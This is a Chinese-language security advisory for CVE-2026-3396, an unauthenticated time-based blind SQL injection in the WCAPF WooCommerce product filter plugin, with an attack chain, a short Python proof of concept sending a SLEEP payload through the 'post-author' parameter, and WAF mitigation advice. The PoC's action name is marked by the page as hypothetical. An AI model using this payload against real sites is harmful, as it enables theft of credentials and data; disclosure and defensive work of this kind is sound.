CVE-2026-3396 CVSS 7.5 高危

CVE-2026-3396 WCAPF插件SQL注入漏洞

披露日期: 2026-04-08

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-3396

漏洞类型

SQL注入

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

WCAPF – WooCommerce Ajax Product Filter

漏洞概述

WCAPF（WooCommerce Ajax Product Filter）插件在4.2.3及以下版本中存在严重的SQL注入漏洞。由于对用户提供的'post-author'参数缺乏足够的转义和SQL查询准备，未经身份认证的攻击者可以通过网络利用该漏洞，向现有查询中附加额外的SQL语句。攻击者无需任何用户交互即可利用此漏洞，从数据库中提取敏感信息。该漏洞CVSS v3.1评分为7.5，属于高危级别。

技术细节

该漏洞位于插件处理产品过滤的代码逻辑中，具体涉及 `class-wcapf-product-filter.php` 文件。在处理过滤请求时，程序直接获取用户输入的 `post-author` 参数，并将其拼接到SQL查询语句中，未进行任何有效的安全过滤或使用预处理语句。攻击者可以构造恶意的HTTP POST请求，在 `post-author` 参数中注入基于时间的盲注Payload。当数据库执行包含 `SLEEP()` 函数的恶意语句时，响应时间会明显延迟。攻击者通过分析响应时间的差异，可以逐位推断出数据库中的敏感数据，如用户哈希、管理员凭证等。由于漏洞点位于无需认证的接口，任何访问者均可发起攻击。

攻击链分析

STEP 1

1. 信息收集

攻击者识别目标站点使用了 WordPress 及 WCAPF 插件，并确认插件版本在 4.2.3 及以下。

STEP 2

2. 漏洞探测

攻击者向 AJAX 过滤接口发送特制的数据包，在 'post-author' 参数中注入 SQL 时间盲注 Payload（如 SLEEP(5)）。

STEP 3

3. 漏洞利用

服务器执行恶意 SQL 语句，导致数据库响应延迟。攻击者通过响应时间确认漏洞存在。

STEP 4

4. 数据提取

攻击者使用自动化脚本或手工构造布尔逻辑，结合时间延迟技术，逐个字节提取数据库中的敏感信息（如管理员密码哈希）。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (example)
target = "http://target-site.com/wp-admin/admin-ajax.php"

# The vulnerable parameter is 'post-author'
# Payload for time-based blind SQL injection checking
payload = {
    "action": "wcapf_filter_products", # Hypothetical action name
    "post-author": "1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)"
}

try:
    print("Sending payload...")
    r = requests.post(target, data=payload, timeout=10)
    # If the request takes longer than 5 seconds, the sleep executed
    if r.elapsed.total_seconds() >= 5:
        print("[+] Vulnerability confirmed: Time-based SQL Injection detected.")
    else:
        print("[-] Not vulnerable or payload filtered.")
except Exception as e:
    print(f"Error: {e}")

影响范围

WCAPF – WooCommerce Ajax Product Filter <= 4.2.3

防御指南

临时缓解措施

如果无法立即升级，建议在 Web 应用防火墙（WAF）中添加规则，拦截包含常见 SQL 注入特征（如单引号、UNION SELECT、SLEEP 等）针对 'post-author' 参数的请求，或者暂时禁用该插件的 AJAX 过滤功能。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表